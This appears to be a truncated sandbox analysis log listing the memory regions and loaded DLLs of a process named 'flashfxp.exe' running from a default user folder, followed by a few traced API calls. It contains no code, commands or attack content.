region_type = mapped_file name = "flashfxp.exe" filename = "\\Users\\Default\\flashfxp.exe" (normalized: "c:\\users\\default\\flashfxp.exe") Region: id = 7402 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7403 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7404 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7405 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7406 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7407 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 7408 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7409 start_va = 0x2f0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 7410 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7411 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7412 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7437 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7438 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7439 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7451 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7452 start_va = 0xb0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7453 start_va = 0xf0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 7637 start_va = 0x2f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 7638 start_va = 0x4e0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 7694 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7695 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7696 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7697 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7698 start_va = 0x560000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 7699 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 7700 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 7744 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7745 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7808 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7809 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7810 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7811 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7812 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7821 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7822 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 7823 start_va = 0x970000 end_va = 0xaf7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7824 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7825 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7826 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7827 start_va = 0xb00000 end_va = 0xc80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b00000" filename = "" Region: id = 7828 start_va = 0xc90000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c90000" filename = "" Region: id = 7852 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7853 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7854 start_va = 0x400000 end_va = 0x4cffff monitored = 1 entry_point = 0x4cd67e region_type = mapped_file name = "flashfxp.exe" filename = "\\Users\\Default\\flashfxp.exe" (normalized: "c:\\users\\default\\flashfxp.exe") Region: id = 8189 start_va = 0x400000 end_va = 0x4cffff monitored = 1 entry_point = 0x4cd67e region_type = mapped_file name = "flashfxp.exe" filename = "\\Users\\Default\\flashfxp.exe" (normalized: "c:\\users\\default\\flashfxp.exe") Region: id = 8190 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8191 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8192 start_va = 0x7fef3580000 end_va = 0x7fef4046fff monitored = 1 entry_point = 0x7fef35863a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8193 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8226 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8227 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8268 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8274 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8280 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 8281 start_va = 0x380000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 8287 start_va = 0x7fe949f0000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8293 start_va = 0x7fe94a00000 end_va = 0x7fe94a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8299 start_va = 0x7fe94a10000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a10000" filename = "" Region: id = 8300 start_va = 0x7fe94aa0000 end_va = 0x7fe94b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94aa0000" filename = "" Region: id = 8301 start_va = 0x300000 end_va = 0x300fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 8302 start_va = 0x310000 end_va = 0x310fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 8323 start_va = 0x2090000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 8324 start_va = 0x2090000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 8325 start_va = 0x2220000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 8326 start_va = 0x2430000 end_va = 0x252ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 8327 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8350 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 8351 start_va = 0x2530000 end_va = 0x1a52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 8352 start_va = 0x1a530000 end_va = 0x1a8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a530000" filename = "" Region: id = 8353 start_va = 0x750000 end_va = 0x850fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 8376 start_va = 0x1a9d0000 end_va = 0x1aacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9d0000" filename = "" Region: id = 8377 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8388 start_va = 0x2300000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 8389 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8407 start_va = 0x1a8b0000 end_va = 0x1a9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8b0000" filename = "" Region: id = 8434 start_va = 0x1aad0000 end_va = 0x1ad9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8671 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8696 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8697 start_va = 0x400000 end_va = 0x47cfff monitored = 0 entry_point = 0x40cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8698 start_va = 0x400000 end_va = 0x47cfff monitored = 0 entry_point = 0x40cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8699 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8722 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8723 start_va = 0x1ada0000 end_va = 0x1af4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 8724 start_va = 0x400000 end_va = 0x4defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 8801 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8802 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8825 start_va = 0x7fe94b10000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b10000" filename = "" Region: id = 8836 start_va = 0x7fe94b90000 end_va = 0x7fe94b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b90000" filename = "" Region: id = 8837 start_va = 0x7fe94ba0000 end_va = 0x7fe94baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94ba0000" filename = "" Region: id = 8866 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8890 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8891 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 8983 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 8984 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 8985 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 8986 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9000 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9001 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 9013 start_va = 0x1ada0000 end_va = 0x1ae8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 9014 start_va = 0x1aed0000 end_va = 0x1af4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 9030 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9037 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9038 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 9039 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 9100 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9101 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9116 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9131 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9142 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9171 start_va = 0x660000 end_va = 0x6c1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9224 start_va = 0x20d0000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 9225 start_va = 0x2170000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 9226 start_va = 0x1b090000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b090000" filename = "" Region: id = 9227 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9228 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 9250 start_va = 0x1b300000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 9251 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9252 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9253 start_va = 0x330000 end_va = 0x374fff monitored = 0 entry_point = 0x331064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9254 start_va = 0x330000 end_va = 0x374fff monitored = 0 entry_point = 0x331064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9255 start_va = 0x330000 end_va = 0x374fff monitored = 0 entry_point = 0x331064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9256 start_va = 0x330000 end_va = 0x374fff monitored = 0 entry_point = 0x331064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9257 start_va = 0x330000 end_va = 0x374fff monitored = 0 entry_point = 0x331064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9258 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9361 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9362 start_va = 0x1af70000 end_va = 0x1b06ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af70000" filename = "" Region: id = 9363 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9402 start_va = 0x1b520000 end_va = 0x1b61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b520000" filename = "" Region: id = 9403 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9404 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9480 start_va = 0x1b690000 end_va = 0x1b78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b690000" filename = "" Region: id = 9481 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9509 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9525 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9546 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9551 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9568 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 9606 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9607 start_va = 0x1b790000 end_va = 0x1ba61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9668 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9669 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 9670 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 9671 start_va = 0x360000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 9672 start_va = 0x370000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 9673 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9674 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9675 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Thread: id = 379 os_tid = 0x588 [0262.723] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.098] EtwEventRegister (in: ProviderId=0x2535830, EnableCallback=0x1ae1135c, CallbackContext=0x0, RegHandle=0x2535810 | out: RegHandle=0x2535810) returned 0x0 [0277.177] EtwEventRegister (in: ProviderId=0x2539fa0, EnableCallback=0x1ae113ac, CallbackContext=0x0, RegHandle=0x2539f80 | out: RegHandle=0x2539f80) returned 0x0 [0278.695] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x523d60*=0xd8, lpdwindex=0x2ee6e4 | out: 